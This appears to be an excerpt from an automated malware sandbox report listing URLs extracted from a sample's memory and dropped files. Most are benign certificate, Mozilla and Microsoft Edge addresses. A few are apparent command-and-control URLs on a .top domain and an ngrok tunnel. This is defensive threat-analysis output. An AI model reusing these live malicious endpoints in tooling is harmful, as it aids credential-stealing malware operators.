Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: 11d5b5931e.exe, 0000001A.00000002.3496454882.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403
Source: 11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der
Source: 11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp, 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2753060123.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2740671606.000000001D123000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp, 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp, 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 933c8d3d-799f-45d5-928b-10674160d8b8.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKFCFBFHIDHDBFC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKFCFBFHIDHDBFC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 933c8d3d-799f-45d5-928b-10674160d8b8.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 933c8d3d-799f-45d5-928b-10674160d8b8.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKFCFBFHIDHDBFC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2745469454.0000000023153000.00000004.00000020.00020000.00000000.sdmp, GCGHCBKFCFBFHIDHDBFC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 11d5b5931e.exe, 0000001A.00000002.3491660282.0000000000E5A000.00000040.00000001.01000000.0000000F.sdmp, 11d5b5931e.exe, 0000001A.00000003.3430929718.0000000007372000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2444192008.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, DAFCAAEG.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 933c8d3d-799f-45d5-928b-10674160d8b8.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log1.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log0.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 607a0f7c-0374-48a2-a98c-d04af8688cec.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
